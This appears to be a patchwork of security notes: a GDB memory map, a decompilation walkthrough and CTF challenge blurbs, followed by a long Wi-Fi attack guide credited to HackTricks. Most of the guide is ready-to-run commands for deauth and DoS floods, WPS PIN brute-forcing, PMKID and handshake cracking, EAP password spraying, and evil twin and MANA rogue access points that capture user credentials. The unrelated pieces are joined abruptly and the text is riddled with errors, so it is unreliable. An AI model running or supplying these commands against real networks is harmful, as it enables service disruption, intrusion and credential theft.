+ 0xf75cc000 0xf7779000 0x1ad000 0x0 /lib32/libc-2.23.so
+ 0xf7779000 0xf777b000 0x2000 0x1ac000 /lib32/libc-2.23.so
+ 0xf777b000 0xf777c000 0x1000 0x1ae000 /lib32/libc-2.23.so
+ 0xf777c000 0xf7780000 0x4000 0x0
+ 0xf778b000 0xf778d000 0x2000 0x0 [vvar]
+ 0xf778d000 0xf778f000 0x2000 0x0 [vdso]
+ 0xf778f000 0xf77b1000 0x22000 0x0 /lib32/ld-2.23.so
+ 0xf77b1000 0xf77b2000 0x1000 0x0
+ 0xf77b2000 0xf77b3000 0x1000 0x22000 /lib32/ld-2.23.so
+ 0xf77b3000 0xf77b4000 0x1000 0x23000 /lib32/ld-2.23.so
+ 0xffc59000 0xffc7a000 0x21000 0x0 [stack]
+
+This will show you where the stack, heap (if there is one), and libc are located.
+Another useful feature of GDB is to attach to processes which are already running. Simply launch gdb using gdb
, then find the process id of the program you would like to attach to an execute attach [pid]
.
Decompilers do the impossible and reverse compiled code back into psuedocode/code.
+IDA offers HexRays, which translates machine code into a higher language pseudocode.
+ +Let's say we are disassembling a program which has the source code:
+#include <stdio.h>
+
+void printSpacer(int num){
+ for(int i = 0; i < num; ++i){
+ printf("-");
+ }
+ printf("\n");
+}
+
+int main()
+{
+ char* string = "Hello, World!";
+ for(int i = 0; i < 13; ++i){
+ printf("%c", string[i]);
+ for(int j = i+1; j < 13; j++){
+ printf("%c", string[j]);
+ }
+ printf("\n");
+ printSpacer(13 - i);
+ }
+ return 0;
+}
+
+And creates an output of:
+Hello, World!
+-------------
+ello, World!
+------------
+llo, World!
+-----------
+lo, World!
+----------
+o, World!
+---------
+, World!
+--------
+ World!
+-------
+World!
+------
+orld!
+-----
+rld!
+----
+ld!
+---
+d!
+--
+!
+-
+
+If we are given a binary compiled from that source and we want to figure out how the source looks, we can use a decompiler to get c pseudocode which we can then use to reconstruct the function. The sample decompilation can look like:
+printSpacer:
+int __fastcall printSpacer(int a1)
+{
+ int i; // [rsp+8h] [rbp-8h]
+
+ for ( i = 0; i < a1; ++i )
+ printf("-");
+ return printf("\n");
+}
+
+main:
+int __cdecl main(int argc, const char **argv, const char **envp)
+{
+ int v4; // [rsp+18h] [rbp-18h]
+ signed int i; // [rsp+1Ch] [rbp-14h]
+
+ for ( i = 0; i < 13; ++i )
+ {
+ v4 = i + 1;
+ printf("%c", (unsigned int)aHelloWorld[i], envp);
+ while ( v4 < 13 )
+ printf("%c", (unsigned int)aHelloWorld[v4++]);
+ printf("\n");
+ printSpacer(13 - i);
+ }
+ return 0;
+}
+
+A good method of getting a good representation of the source is to convert the decompilation into Python since Python is basically psuedocode that runs. Starting with main often allows you to gain a good overview of what the program is doing and will help you translate the other functions.
+We know we will start with a main function and some variables, if you trace the execution of the variables, you can oftentimes determine the variable type. Because i is being used as an index, we know its an int, and because v4 used as one later on, it too is an index. We can also see that we have a variable aHelloWorld being printed with "%c", we can determine it represents the 'Hello, World!' string. Lets define all these variables in our Python main function:
+def main():
+ string = "Hello, World!"
+ i = 0
+ v4 = 0
+ for i in range(0, 13):
+ v4 = i + 1
+ print(string[i], end='')
+ while v4 < 13:
+ print(string[v4], end='')
+ v4 += 1
+ print()
+ printSpacer(13-i)
+
+Now we can see that printSpacer is clearly being fed an int value. Translating it into python shouldn't be too hard.
+def printSpacer(number):
+ i = 0
+ for i in range(0, number):
+ print("-", end='')
+ print()
+
+Running main() gives us:
+Hello, World!
+-------------
+ello, World!
+------------
+llo, World!
+-----------
+lo, World!
+----------
+o, World!
+---------
+, World!
+--------
+ World!
+-------
+World!
+------
+orld!
+-----
+rld!
+----
+ld!
+---
+d!
+--
+!
+-
+
+Android source code is easy to de-compile. Rather than reading assembly codes from the beginning, why not try some java first?
+Try to reverse this Android apk file and find flag in it.
+Flag format: CTFlearn{******}
Hint1: if you really have difficult to reverse Android, I would recommend you to try jadx.
+Hint2: md5 is old and not safe. So many methods can help you to crack md5.
+I heard that some SUSTCers are really good at playing Touhou Project (東方project) Games. As a kind of STG game, Touhou Project is very difficult and not friendly for beginners.
+Some one sent me this game and challenged me: if you can pass all 6 levels in Lunatic
difficulty, you can have the flag.
Each time you finish a level in Lunatic difficulty, one part of flag is given to flag.txt
under the game directory. I have several ideas for you to break this game:
Good luck!
+https://mega.nz/file/KtNkiZga#juXA-LhgguC8De76CTYnHjPaObvlNcyjyEDXjhkSDCs
+3rd round of your local Java rev! Note: This requires Java 11 and above to run.
+ + + + + + + + + +According to @Hacktricks: https://book.hacktricks.xyz/
+ip link show #List available interfaces
+iwconfig #List available interfaces
+airmon-ng check kill #Kill annoying processes
+airmon-ng start wlan0 #Monitor mode
+airmon-ng stop wlan0mon #Managed mode
+airodump-ng wlan0mon #Scan (default 2.4Ghz)
+airodump-ng wlan0mon --band a #Scan 5Ghz
+iwconfig wlan0 mode monitor #Put in mode monitor
+iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
+iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
+
+git clone https://github.com/s0lst1c3/eaphammer.git
+./kali-setup
+
+mv `which dhcpd` `which dhcpd`.old
+apt install isc-dhcp-server
+apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
+
+docker run \
+ --rm \
+ -ti \
+ --name airgeddon \
+ --net=host \
+ --privileged \
+ -p 3000:3000 \
+ -v /tmp:/io \
+ -e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
+ v1s1t0r1sh3r3/airgeddon
+
+From: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux
+The most common way this sort of attack is done is with deauthentication packets. These are a type of "management" frame responsible for disconnecting a device from an access point. Forging these packets is the key to hacking many Wi-Fi networks, as you can forcibly disconnect any client from the network at any time. The ease of which this can be done is somewhat frightening and is often done as part of gathering a WPA handshake for cracking.
+Aside from momentarily using this disconnection to harvest a handshake to crack, you can also just let those deauths keep coming, which has the effect of peppering the client with deauth packets seemingly from the network they are connected to. Because these frames aren't encrypted, many programs take advantage of management frames by forging them and sending them to either one or all devices on a network. Description from here.
+aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
+
+Disassociation packets are another type of management frame that is used to disconnect a node (meaning any device like a laptop or cell phone) from a nearby access point. The difference between deauthentication and disassociation frames is primarily the way they are used.
+An AP looking to disconnect a rogue device would send a deauthentication packet to inform the device it has been disconnected from the network, whereas a disassociation packet is used to disconnect any nodes when the AP is powering down, rebooting, or leaving the area.
+Description from here.
+This attack can be performed by mdk4(mode "d"):
+# -c <channel>
+# -b victim_client_mac.txt contains the MAC address of the device to eliminate
+# -e WifiName is the name of the wifi
+# -B BSSID is the BSSID of the AP
+# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
+mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
+
+From here.
+ATTACK MODE b: Beacon Flooding
+Sends beacon frames to show fake APs at clients. This can sometimes crash network scanners and even drivers!
+# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
+# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
+# -m use real BSSIDS
+# All the parameters are optional and you could load ESSIDs from a file
+mdk4 wlan0mon b -a -w nta -m
+
+ATTACK MODE a: Authentication Denial-Of-Service
+Sends authentication frames to all APs found in range. Too many clients can freeze or reset several APs.
+# -a BSSID send random data from random clients to try the DoS
+# -i BSSID capture and repeat pakets from authenticated clients
+# -m use real MACs
+# only -a or -i can be used
+mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
+
+ATTACK MODE p: SSID Probing and Bruteforcing
+Probes APs and checks for answer, useful for checking if SSID has been correctly decloaked and if AP is in your sending range. Bruteforcing of hidden SSIDs with or without a wordlist is also available.
+ATTACK MODE m: Michael Countermeasures Exploitation
+Sends random packets or re-injects duplicates on another QoS queue to provoke Michael Countermeasures on TKIP APs. AP will then shutdown for a whole minute, making this an effective DoS.
+# -t <BSSID> of a TKIP AP
+# -j use inteligent replay to create the DoS
+mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
+
+ATTACK MODE e: EAPOL Start and Logoff Packet Injection
+Floods an AP with EAPOL Start frames to keep it busy with fake sessions and thus disables it to handle any legitimate clients. Or logs off clients by injecting fake EAPOL Logoff messages.
+# Use Logoff messages to kick clients
+mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
+
+ATTACK MODE s: Attacks for IEEE 802.11s mesh networks
+Various attacks on link management and routing in mesh networks. Flood neighbors and routes, create black holes and divert traffic!
+ATTACK MODE w: WIDS Confusion
+Confuse/Abuse Intrusion Detection and Prevention Systems by cross-connecting clients to multiple WDS nodes or fake rogue APs.
+# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
+mkd4 -e <SSID> -c <channel> [-z]
+
+ATTACK MODE f: Packet Fuzzer
+A simple packet fuzzer with multiple packet sources and a nice set of modifiers. Be careful!
+Airgeddon offers most of the attacks proposed in the previous comments:
+ +WPS stands for Wi-Fi Protected Setup. It is a wireless network security standard that tries to make connections between a router and wireless devices faster and easier. WPS works only for wireless networks that use a password that is encrypted with the WPA Personal or WPA2 Personal security protocols. WPS doesn't work on wireless networks that are using the deprecated WEP security, which can be cracked easily by any hacker with a basic set of tools and skills. (From here)
+WPS uses a 8 length PIN to allow a user to connect to the network, but it's first checked the first 4 numbers and, if correct, then is checked the second 4 numbers. Then, it is possible to Brute-Force the first half and then the second half (only 11000 possibilities).
+There are 2 main tools to perform this action: Reaver and Bully.
+Reaver has been designed to be a robust and practical attack against WPS, and has been tested against a wide variety of access points and WPS implementations.
+Bully is a new implementation of the WPS brute force attack, written in C. It has several advantages over the original reaver code: fewer dependencies, improved memory and cpu performance, correct handling of endianness, and a more robust set of options. It runs on Linux, and was specifically developed to run on embedded Linux systems (OpenWrt, etc) regardless of architecture.
+Bully provides several improvements in the detection and handling of anomalous scenarios. It has been tested against access points from numerous vendors, and with differing configurations, with much success.
+If the WPS valid code is found, both Bully and Reaver will use it to discover the WPA/WPA2 PSK used to protect the network, so you will be able to connect anytime you need it.
+reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
+bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
+
+Instead of starting trying every possible PIN, you should check if there are available PINs discoveredfor the AP you are attacking (depending of the manufacturer MAC) and the PIN software generated PINs.
+Dominique Bongard discovered that some APs have weak ways of generating nonces (known as E-S1 and E-S2) that are supposed to be secret. If we are able to figure out what these nonces are, we can easily find the WPS PIN of an AP since the AP must give it to us in a hash in order to prove that it also knowns the PIN, and the client is not connecting to a rouge AP. These E-S1 and E-S2 are essentially the "keys to unlock the lock box" containing the WPS pin. More info here: https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
+Basically, some implementations failed in the use of random keys to encrypt the 2 parts of the the PIN(as it is discomposed in 2 parts during the authentication communication and sent to the client), so an offline attack could be used to brute force the valid PIN.
+reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
+bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
+
+Some really bad implementations allowed the Null PIN to connect (very weird also). Reaver can test this (Bully cannot).
+ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
+
+All the proposed WPS attacks can be easily performed using *airgeddon.*
+ +So broken and disappeared that I am not going to talk about it. Just know that *airgeddon* have a WEP option called "All-in-One" to attack this kind of protection. More tools offer similar options.
+ +In 2018 hashcat authors disclosed a new type of attack which not only relies on one single packet, but it doesn’t require any clients to be connected to our target AP or, if clients are connected, it doesn’t require us to send deauth frames to them, there’s no interaction between the attacker and client stations, but just between the attacker and the AP, interaction which, if the router is vulnerable, is almost immediate!
+It turns out that a lot of modern routers append an optional field at the end of the first EAPOL frame sent by the AP itself when someone is associating, the so called Robust Security Network
, which includes something called PMKID
As explained in the original post, the PMKID is derived by using data which is known to us:
+PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
+
+Since the “PMK Name” string is constant, we know both the BSSID of the AP and the station and the PMK
is the same one obtained from a full 4-way handshake, this is all hashcat needs in order to crack the PSK and recover the passphrase! Description obtained from here.
To gather this information and bruteforce locally the password you can do:
+airmon-ng check kill
+airmon-ng start wlan0
+git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
+hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
+
+#You can also obtains PMKIDs using eaphammer
+./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
+
+The PMKIDs captured will be shown in the console and also saved inside /tmp/attack.pcap** Now, convert the capture to hashcat/john** format and crack it:
+hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
+hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
+john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
+
+Please note the the format of a correct hash contains 4 parts, like: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7*566f6461666f6e65436f6e6e6563743034383131343838 If yours only contains 3 parts, then, it is invalid (the PMKID capture wasn't valid).
+Note that hcxdumptool
also capture handshakes (something like this will appear: MP:M1M2 RC:63258 EAPOLTIME:17091
). You could transform the handshakes to hashcat/john format using cap2hccapx
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
+cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
+hccap2john pmkid.hccapx > handshake.john
+john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
+aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
+
+I have noticed that some handshakes captured with this tool couldn't be cracked even knowing the correct password. I would recommend to capture handshakes also via traditional way if possible, or capture several of them using this tool.
+One way to attack WPA/WPA2 networks is to capture a handshake and try to crack the used password offline. To do so you need to find the BSSID and channel of the victim network, and a client that is connected to the network. Once you have that information you have to start listening to all the commutation of that BSSID in that channel, because hopefully the handshake will be send there:
+airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
+
+Now you need to deauthenticate the client for a few seconds so it will automatically authenticate again to the AP (please read the part of DoS to find several ways to deauthenticate a client):
+aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work
+
+Note that as the client was deauthenticated it could try to connect to a different AP or, in other cases, to a different network.
+Once in theairodump-ng
appears some handshake information this means that the handshake was captured and you can stop listening:
Once the handshake is captured you can crack it with aircrack-ng
:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
+
+aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
+
+tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
+
+cowpatty -r psk-01.cap -s "ESSID" -f -
+
+If this tool finds an uncompleted handshake of an ESSID before the completed one, it won't detect the valid one.
+apt-get install pyrit #Not working for newer versions of kali
+pyrit -r psk-01.cap analyze
+
+It is important to talk about the different authentication methods that could be used by an enterprise Wifi. For this kind of Wifis you will probably find inairodump-ng
something like this:
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
+
+EAP (Extensible Authentication Protocol) the skull of the authentication communication, on top of this, an authentication algorithm is used by the server to authenticate the client (supplicant) and in same cases by the client to authenticate the server. Main authentication algorithms used in this case:
+You can find more information about these authentication methods here and here.
+Reading https://tools.ietf.org/html/rfc3748#page-27 it looks like if you are using EAP the "Identity" messages must be supported, and the username is going to be sent in clear in the "Response Identity" messages.
+Even using one of the most secure of authentication methods: PEAP-EAP-TLS, it is possible to capture the username sent in the EAP protocol. To do so, capture a authentication communication (start airodump-ng
inside a channel and wireshark
in the same interface) and filter the packets byeapol
. Inside the "Response, Identity" packet, the username of the client will appear.
(Info taken from https://www.interlinknetworks.com/app_notes/eap-peap.htm)
+Both EAP-PEAP and EAP-TTLS support identity hiding. In a WiFi environment, the access point (AP) typically generates an EAP-Identity request as part of the association process. To preserve anonymity, the EAP client on the user’s system may respond with only enough information to allow the first hop RADIUS server to process the request, as shown in the following examples.
+++In this example, all users will share the pseudo-user-name “anonymous”. The first hop RADIUS server is an EAP-PEAP or EAP-TTLS server which drives the server end of the PEAP or TTLS protocol. The inner (protected) authentication type will then be either handled locally or proxied to a remote (home) RADIUS server.
+
++In this example, users belonging to different realms hide their own identity but indicate which realm they belong to so that the first hop RADIUS server may proxy the EAP-PEAP or EAP-TTLS requests to RADIUS servers in their home realms which will act as the PEAP or TTLS server. The first hop server acts purely as a RADIUS relay node.
+Alternatively, the first hop server may act as the EAP-PEAP or EAP-TTLS server and either process the protected authentication method or proxy it to another server. This option may be used to configure different policies for different realms.
+
In EAP-PEAP, once the PEAP server and the PEAP client establish the TLS tunnel, the PEAP server generates an EAP-Identity request and transmits it down the TLS tunnel. The client responds to this second EAP-Identity request by sending an EAP-Identity response containing the user’s true identity down the encrypted tunnel. This prevents anyone eavesdropping on the 802.11 traffic from discovering the user’s true identity.
+EAP-TTLS works slightly differently. With EAP-TTLS, the client typically authenticates via PAP or CHAP protected by the TLS tunnel. In this case, the client will include a User-Name attribute and either a Password or CHAP-Password attribute in the first TLS message sent after the tunnel is established.
+With either protocol, the PEAP/TTLS server learns the user’s true identity once the TLS tunnel has been established. The true identity may be either in the form user@realm or simply user**. If the PEAP/TTLS server is also authenticating the user**, it now knows the user’s identity and proceeds with the authentication method being protected by the TLS tunnel. Alternatively, the PEAP/TTLS server may forward a new RADIUS request to the user’s home RADIUS server. This new RADIUS request has the PEAP or TTLS protocol stripped out. If the protected authentication method is EAP, the inner EAP messages are transmitted to the home RADIUS server without the EAP-PEAP or EAP-TTLS wrapper. The User-Name attribute of the outgoing RADIUS message contains the user’s true identity – not the anonymous identity from the User-Name attribute of the incoming RADIUS request. If the protected authentication method is PAP or CHAP (supported only by TTLS), the User-Name and other authentication attributes recovered from the TLS payload are placed in the outgoing RADIUS message in place of the anonymous User-Name and TTLS EAP-Message attributes included in the incoming RADIUS request.
+If the client is expected to use a username and password (notice that EAP-TLS won't be valid in this case), then you could try to get a list a usernames (see next part) and passwords and try to bruteforce the access using air-hammer.
+./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
+
+You could also do this attack using eaphammer
:
./eaphammer --eap-spray \
+ --interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
+ --essid example-wifi \
+ --password bananas \
+ --user-list users.txt
+
+Although the 802.11 protocol has very specific rules that dictate how a station can join an ESS, it does not specify how the station should select an ESS to connect to. Additionally, the protocol allows stations to roam freely between access points that share the same ESSID (because you wouldn’t want to lose WiFi connectivity when walking from one end of a building to another, etc). However, the 802.11 protocol does not specify how these access points should be selected. Furthermore, even though stations must be authenticated to the ESS in order to associate with an access point, the 802.11 protocol does not require the access point be authenticated to the station.
+Each time a station connects to a wireless network, the network’s ESSID is stored in the station’s Preferred Network List (PNL). The PNL is an ordered list of every network that the station has connected to in the past, and each entry in the PNL contains the network’s ESSID and any network-specific configuration information needed to establish a connection.
+In infrastructure networks, access points periodically transmit beacon frames to advertise their presence and capabilities to nearby stations. Beacons are broadcast frames, which means they are intended to be received by all nearby stations in range. Beacons include information about the AP’s supported rates, encryption capabilities, additional information, and most importantly, beacon frames contain the AP’s ESSID (as long as ESSID broadcasting is not disabled).
+During passive scanning, the client device listens for beacon frames from nearby access points. If the client device receives a beacon frame whose ESSID field matches an ESSID from the client’s PNL, the client will automatically connect to the access point that sent the beacon frame. Then, suppose we want to target a wireless device that is not currently connected to any wireless. If we know at least one entry in that client’s PNL, we can force the client to connect to us simply by creating our own access point with that entry’s ESSID.
+The second network selection algorithm used in 802.11 is known as Active Probing. Client devices that use active probing continuously transmit probe request frames to determine what APs are within range, as well as what their capabilities are. Probe requests come in two forms: directed and broadcast. Directed probe requests are addressed to a specific ESSID, and are the client’s way of checking if a specific network is nearby.
+Clients that use directed probing will send out probe requests for each network in its PNL. It should be noted that directed probing is the only way of identify the presence of nearby hidden networks. Broadcast probe requests work almost exactly the same way, but are sent with the SSID field set to NULL. This addresses the broadcast probe to all nearby access points, allowing the the station to check if any of its preferred networks are nearby without revealing the contents of its PNL
+Before explaining how to perform more complex attacks it's going to be explained how to just create an AP and redirect it's traffic to an interface connected to the Internet.
+Using ifconfig -a
check that the wlan interface to create the AP and the interface connected to the Internet are present.
apt-get install dnsmasq #Manages DHCP and DNS
+
+create a config file /etc/dnsmasq.conf as follows:
+interface=wlan0
+dhcp-authoritative
+dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
+dhcp-option=3,192.168.1.1
+dhcp-option=6,192.168.1.1
+server=8.8.8.8
+log-queries
+log-dhcp
+listen-address=127.0.0.1
+
+Then set IPs and routes:
+ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
+route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
+
+And then start dnsmasq:
+dnsmasq -C dnsmasq.conf -d
+
+apt-get install hostapd
+
+Create a config file hostapd.conf:
+interface=wlan0
+driver=nl80211
+ssid=MITIWIFI
+hw_mode=g
+channel=11
+macaddr_acl=0
+ignore_broadcast_ssid=0
+auth_algs=1
+wpa=2
+wpa_passphrase=mitmwifi123
+wpa_key_mgmt=WPA-PSK
+wpa_pairwise=CCMP
+wpa_group_rekey=86400
+ieee80211n=1
+wme_enabled=1
+
+Stop annoying processes , set monitor mode, and start hostapd:
+airmon-ng check kill
+iwconfig wlan0 mode monitor
+ifconfig wlan0 up
+hostapd ./hostapd.conf
+
+iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
+iptables --append FORWARD --in-interface wlan0 -j ACCEPT
+echo 1 > /proc/sys/net/ipv4/ip_forward
+
+An evil twin attack is a type Wi-Fi attack that works by taking advantage of the fact that most computers and phones will only see the "name" or ESSID of a wireless network (as the base station is not required to authenticate against the client). This actually makes it very hard to distinguish between networks with the same name and same kind of encryption. In fact, many networks will have several network-extending access points all using the same name to expand access without confusing users.
+Due how the implementation of clients work (remember that the 802.11 protocol allows stations to roam freely between access points within the same ESS), it is possible to make a device to change the base station it is connected to. It is possible to do that offering a better signal (which is not always possible) or by blocking the access to the original base station (deauthentication packets, jamming, or some other form of DoS attack).
+Notice also that real-world wireless deployments usually have more than a single access point, and these access points are often more powerful and have better line-of-site range due to their placement towards the ceiling. Deauthenticating a single access point usually results in the target roaming towards another valid access point rather than your rogue AP, unless all nearby access points are deauthenticated (loud) or you are very careful with the placement of the rogue AP (difficult).
+You can create a very basic Open Evil Twin (no capabilities to route traffic to Internet) doing:
+airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
+
+You could also create an Evil Twin using eaphammer (notice that to create evil twins with eaphammer the interface should NOT be in monitor mode):
+./eaphammer -i wlan0 --essid exampleCorp --captive-portal
+
+Or using Airgeddon: Options: 5,6,7,8,9 (inside Evil Twin attack menu).
Please, notice that by default if an ESSID in the PNL is saved as WPA protected, the device won't connect automatically to an Open evil Twin. You can try to DoS the real AP and hope that the user will connect manually to your Open evil twin, or you could DoS the real AP an use a WPA Evil Twin to capture the handshake (using this method you won't be able to let the victim connect to you as you don't know the PSK, but you can capture the handshake and try to crack it).
+Some OS and AV will warn the user that connect to an Open network is dangerous...
+You can create an Evil Twin using WPA/2 and if the devices have configured to connect to that SSID with WPA/2, they are going to try to connect. Anyway, to complete the 4-way-handshake you also need to know the password that the client is going to use. If you don't know it, the connection won't be completed.
+./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
+
+To understand this attacks I would recommend to read before the brief WPA Enterprise explanation.
+hostapd-wpe
needs a configuration file to work. To automate the generation if these configurations you could use https://github.com/WJDigby/apd_launchpad (download the python file inside /etc/hostapd-wpe/)
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
+hostapd-wpe ./victim/victim.conf -s
+
+In the configuration file you can select a lot of different things like ssid, channel, user files, cret/key, dh parameters, wpa version and auth...
+Using hostapd-wpe with EAP-TLS to allow any certificate to login.
+# Generate Certificates./eaphammer --cert-wizard
+# Launch Attack./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
+
+By default, EAPHammer purposes this authentication methods (notice GTC as the first one to try to obtain plaintext passwords and then the use of more robust auth methods):
+GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
+
+This is the default methodology to avoid long connection times. However, you can also specify to server the authentication methods from weakest to strongest:
+--negotiate weakest
+
+Or you could also use:
+--negotiate gtc-downgrade
to use highly efficient GTC downgrade implementation (plaintext passwords)--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP
to specify manually the methods offered (offering the same auth methods in the same order as the organisation the attack will be much more difficult to detect).Airgeddon
can use previously generated certificated to offer EAP authentication to WPA/WPA2-Enterprise networks. The fake network will downgrade the connection protocol to EAP-MD5 so it will be able to capture the user and the MD5 of the password. Later, the attacker can try to crack the password. Airggedon
offers you the possibility of a continuous Evil Twin attack (noisy) or only create the Evil Attack until someone connects (smooth).
This method was tested in an PEAP connection but as I'm decrypting an arbitrary TLS tunnel this should also works with EAP-TTLS
+Inside the configuration of hostapd-wpe comment the line that contains dh_file** (from dh_file=/etc/hostapd-wpe/certs/dh
to #dh_file=/etc/hostapd-wpe/certs/dh
) This will make hostapd-wpe
to exchange keys using RSA instead of DH, so you will be able to decrypt the traffic later knowing the servers private key**.
Now start the Evil Twin using hostapd-wpe
with that modified configuration as usual. Also, start wireshark
in the interface which is performing the Evil Twin attack.
Now or later (when you have already captured some authentication intents) you can add the private RSA key to wireshark in: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...
Add a new entry and fill the form with this values: IP address = any -- Port = 0 -- Protocol = data -- Key File (select your key file, to avoid problems select a key file without being password protected).
+ +And look at the new "Decrypted TLS" tab:
+ +The following table lists the different type of MFACLs (Management Frame Access Control Lists) available, as well their effects when used:
+ +# example EAPHammer MFACL file, wildcards can be used78:f0:97:fc:b5:369a:35:e1:01:4f:cf69:19:14:60:20:45ce:52:b8:*:*:*
+[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting][--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
+
+# example ESSID-based MFACL fileapplesorangesgrapespears
+[--ssid-whitelist /path/to/mac/whitelist/file.txt][--ssid-blacklist /path/to/mac/blacklist/file.txt]
+
+Karma attacks are a second form of rogue access point attack that exploits the network selection process used by stations. In a whitepaper written in 2005, Dino Dai Zovi and Shane Macaulay describe how an attacker can configure an access point to listen for directed probe requests and respond to all of them with matching directed probe responses. This causes the affected stations to automatically send an association request to the attacker’s access point. The access point then replies with an association response, causing the affected stations to connect to the attacker.
+According to Ian de Villiers and Dominic White, modern stations are designed to protect themselves against karma attacks by ignoring directed probe responses from access points that have not already responded to at least one broadcast probe request. This led to a significant drop in the number of stations that were vulnerable to karma attacks until 2015, when White and de Villiers developed a means of circumventing such protections. In White’s and de Villiers’ improved karma attack (MANA attack), directed probe responses are used to reconstruct the PNLs of nearby stations. When a broadcast probe request is received from a station, the attacker’s access point responds with an arbitrary SSID from the station’s PNL already being saw in a direct probe from that device.
+In resume, the MANA algorithm works like this: each time the access point receives a probe request, it first determines whether it’s a broadcast or directed probe. If it’s directed probe, the sender’s MAC address is added to the hash table (if it’s not there already) and the ESSID is added to that device’s PNL. The AP then responds with a directed probe response. If it’s a broadcast probe, the access point responds with probe responses for each of the networks in that device’s PNL.
+MANA attack using eaphammer:
+./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
+
+Notice that the standard MANA attack still does not allow us to attack devices that don’t use directed probing at all. So if we also doesn't know previously any entry inside the device PNL, we need to figure out some other way to attack it.
+A possibility is what is called Loud MANA attack. This attack relies on the idea that client devices within close physical proximity to one another are likely to have at least some common entries in their PNLs.
+In resume, Loud MANA attack instead of responding to probe requests with each ESSID in a particular device’s PNL, the rogue AP sends probe responses for every ESSID in every PNL across all devices that it has seen before. Relating this to set theory, we can say that the AP sends probe responses for each ESSID in the union of all PNLs of nearby devices.
+./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
+
+There are still cases in which Loud MANA attack won’t succeed. The Known Beacon attack is a way to "Brute-Force" ESSIDs to try to get the victim connect to the attacker. The attacker creates an AP that response to any ESSID and run some code sending beacons faking ESSIDs of each name inside a wordlist. Hopefully the victim will contains some of theses ESSID names inside its PNL and will try to connect to the fake AP. Eaphammer implemented this attack as a MANA attack where all the ESSIDs inside a list are charged (you could also combine this with --loud
to create a Loud MANA + Known beacons attack):
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
+
+As known beacons are loud. You can use a script inside Eaphammer project to just launch beacouns of every ESSID name inside a file very quickly. If you combines this script with a Eaphammer MANA attack, the clients will be able to connect to your AP.
+# transmit a burst of 5 forged beacon packets for each entry in list
+./forge-beacons -i wlan1 \
+ --bssid de:ad:be:ef:13:37 \
+ --known-essids-file known-s.txt \
+ --dst-addr 11:22:33:11:22:33 \
+ --burst-count 5
+
